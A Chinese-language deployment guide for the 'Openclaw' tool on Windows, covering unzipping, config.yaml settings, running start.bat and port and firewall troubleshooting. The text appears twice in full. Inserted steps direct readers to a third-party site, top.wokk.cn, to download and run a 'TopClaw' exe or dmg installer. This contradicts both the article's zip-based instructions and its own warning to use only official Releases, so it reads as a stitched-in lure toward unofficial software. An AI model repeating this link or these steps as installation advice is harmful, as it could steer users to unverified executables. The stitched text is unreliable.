ARTICLE · 1086096
Openclaw小龙虾Windows部署:下载、解压、配置、运行
Openclaw小龙虾Windows部署:下载、解压、配置、运行第一次接触 Openclaw 的朋友，容易被“部署”两个字劝退。其实在 Windows 上把它跑起来，流程并不复杂：下载压缩包、解压到合适目录、改一份配置文件、双击启动脚本。整个过程更像是装一个绿色软件，只是中间多了一次“填地址、选目录”的动作。下面我按自己的实操顺序，把几个容易踩坑的地方讲清楚。
一、下载与解压：路径越简单，后面越省心
先找官方仓库的 Releases 页面，选择 Windows x64 的压缩包。不要从论坛、网盘里下所谓“整合版”，版本混杂不说，还可能夹带脚本。下载完成后，建议先核对文件大小和发布日期，再用系统自带杀毒或安全软件扫一遍。
解压时我强烈建议用 7-Zip 或系统自带解压，不要直接在压缩包里双击运行。目录选 D:\Apps\Openclaw 这类纯英文、无空格路径。中文路径、桌面路径、C:\Program Files 都可能带来权限或编码问题。
第一步：打开龙虾安装地址：https://top.wokk.cn
第二步：选择Windows10/11或macOS apple、intel芯片下载。
第三步：双击安装包（exe或者dmg文件）等待3分钟。
第四步：打开桌面TopClaw龙虾软件注册登录即可使用
推荐目录：D:\Apps\Openclaw
不推荐：C:\Program Files\Openclaw、D:\软件\小龙虾
解压后确认有：可执行文件、配置示例、启动脚本、说明文档
我的习惯是：所有需要长期运行的工具都放 D 盘一个英文目录，出问题时排错路径最短，备份也方便。
二、配置：把小龙虾调成顺手的味道
进入解压目录，先找 config.example、config.yaml 或 .env 这类文件。不要直接改示例文件，复制一份并重命名为正式配置，例如 config.yaml。这样升级或重置时，原始参考还在。
配置通常关注几项：监听端口、工作目录、日志级别、模型服务地址和密钥。端口默认 3000 或 8080 都行，只要不和常用软件冲突。工作目录建议单独建一个 workspace，别和系统目录混在一起。模型服务地址如果是本地服务，就填本机回环地址；如果用第三方兼容服务，按服务方文档填写，密钥不要截图、不要发群、不要提交到公开仓库。
端口：3000、8080、7860 任选，冲突就换
工作目录：D:\Apps\Openclaw\workspace
日志级别：先 info，排错时再开 debug
密钥：只放本地配置文件，权限设为仅自己可读
配置这一步最怕“复制粘贴不看注释”。很多报错不是程序坏了，而是地址多了一个斜杠、端口被占用、路径带了中文。
三、运行与排错：看到界面只是第一步
回到解压目录，双击 start.bat，或者在 PowerShell 里进入目录后执行 .\start.bat。如果提示脚本被禁止，可以右键脚本属性解除锁定，或按说明调整执行策略。启动后看命令行窗口，出现 Listening、Running、Server started 之类字样，通常就成功了。再打开浏览器访问 http://127.0.0.1:你设置的端口。
如果打不开，先查端口占用：netstat -ano | findstr :3000，找到 PID 后在任务管理器结束，或换一个端口。其次看防火墙有没有拦截，首次运行时允许专用网络访问即可。还不行就翻日志文件，通常最后几行就是原因。缺少运行库、路径含中文、配置文件缩进错误，是新手最常见的三类问题。
端口占用：换端口或结束占用进程
防火墙拦截：允许应用通过防火墙
配置报错：检查 YAML 缩进、冒号后空格、路径引号
启动闪退：用 PowerShell 运行，保留错误信息
我个人建议，第一次部署不要急着改太多高级参数。先让默认配置跑通，确认浏览器能打开、日志没有红色报错，再一步步加工作目录、调模型服务、改端口。部署这件事，稳比快重要。只要下载来源正规、目录干净、配置备份、运行日志留好，Openclaw 小龙虾在 Windows 上就能长期稳定地为你服务。
OpenClaw中文版龙虾安装地址：https://top.wokk.cn
一、下载与解压：路径越简单，后面越省心
先找官方仓库的 Releases 页面，选择 Windows x64 的压缩包。不要从论坛、网盘里下所谓“整合版”，版本混杂不说，还可能夹带脚本。下载完成后，建议先核对文件大小和发布日期，再用系统自带杀毒或安全软件扫一遍。
解压时我强烈建议用 7-Zip 或系统自带解压，不要直接在压缩包里双击运行。目录选 D:\Apps\Openclaw 这类纯英文、无空格路径。中文路径、桌面路径、C:\Program Files 都可能带来权限或编码问题。
第一步：打开龙虾安装地址：https://top.wokk.cn
第二步：选择Windows10/11或macOS apple、intel芯片下载。
第三步：双击安装包（exe或者dmg文件）等待3分钟。
第四步：打开桌面TopClaw龙虾软件注册登录即可使用
推荐目录：D:\Apps\Openclaw
不推荐：C:\Program Files\Openclaw、D:\软件\小龙虾
解压后确认有：可执行文件、配置示例、启动脚本、说明文档
我的习惯是：所有需要长期运行的工具都放 D 盘一个英文目录，出问题时排错路径最短，备份也方便。
二、配置：把小龙虾调成顺手的味道
进入解压目录，先找 config.example、config.yaml 或 .env 这类文件。不要直接改示例文件，复制一份并重命名为正式配置，例如 config.yaml。这样升级或重置时，原始参考还在。
配置通常关注几项：监听端口、工作目录、日志级别、模型服务地址和密钥。端口默认 3000 或 8080 都行，只要不和常用软件冲突。工作目录建议单独建一个 workspace，别和系统目录混在一起。模型服务地址如果是本地服务，就填本机回环地址；如果用第三方兼容服务，按服务方文档填写，密钥不要截图、不要发群、不要提交到公开仓库。
端口：3000、8080、7860 任选，冲突就换
工作目录：D:\Apps\Openclaw\workspace
日志级别：先 info，排错时再开 debug
密钥：只放本地配置文件，权限设为仅自己可读
配置这一步最怕“复制粘贴不看注释”。很多报错不是程序坏了，而是地址多了一个斜杠、端口被占用、路径带了中文。
三、运行与排错：看到界面只是第一步
回到解压目录，双击 start.bat，或者在 PowerShell 里进入目录后执行 .\start.bat。如果提示脚本被禁止，可以右键脚本属性解除锁定，或按说明调整执行策略。启动后看命令行窗口，出现 Listening、Running、Server started 之类字样，通常就成功了。再打开浏览器访问 http://127.0.0.1:你设置的端口。
如果打不开，先查端口占用：netstat -ano | findstr :3000，找到 PID 后在任务管理器结束，或换一个端口。其次看防火墙有没有拦截，首次运行时允许专用网络访问即可。还不行就翻日志文件，通常最后几行就是原因。缺少运行库、路径含中文、配置文件缩进错误，是新手最常见的三类问题。
端口占用：换端口或结束占用进程
防火墙拦截：允许应用通过防火墙
配置报错：检查 YAML 缩进、冒号后空格、路径引号
启动闪退：用 PowerShell 运行，保留错误信息
我个人建议，第一次部署不要急着改太多高级参数。先让默认配置跑通，确认浏览器能打开、日志没有红色报错，再一步步加工作目录、调模型服务、改端口。部署这件事，稳比快重要。只要下载来源正规、目录干净、配置备份、运行日志留好，Openclaw 小龙虾在 Windows 上就能长期稳定地为你服务。
OpenClaw中文版龙虾安装地址：https://top.wokk.cn